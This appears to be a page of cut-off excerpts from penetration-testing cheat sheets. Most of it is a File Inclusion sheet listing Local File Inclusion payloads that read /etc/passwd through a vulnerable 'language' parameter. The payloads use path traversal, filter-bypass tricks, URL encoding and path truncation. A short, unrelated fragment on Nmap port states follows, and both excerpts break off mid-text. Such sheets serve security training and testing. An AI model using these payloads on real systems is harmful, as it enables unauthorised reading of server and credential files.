File Inclusion – Cheat Sheet

File Inclusion – Cheat Sheet

Local File Inclusion CommandDescription Basic LFI /index.php?language=/etc/passwdBasic LFI /index.php?language=../../../../etc/passwdLFI with path traversal /index.php?language=/../../../etc/passwdLFI with name prefix /index.php?language=./languages/../../../../etc/passwdLFI with approved path LFI Bypasses /index.php?language=....//....//....//....//etc/passwdBypass basic path traversal filter /index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64Bypass filters with URL encoding /index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]Bypass appended extension with…

Nmap

Nmap scan - port states Port StateDescriptionOpenIndicates that an application on the target system is actively accepting connections (TCP/UDP/SCTP) on that port.ClosedIndicates there isn’t any application listening on that port.FilteredNmap…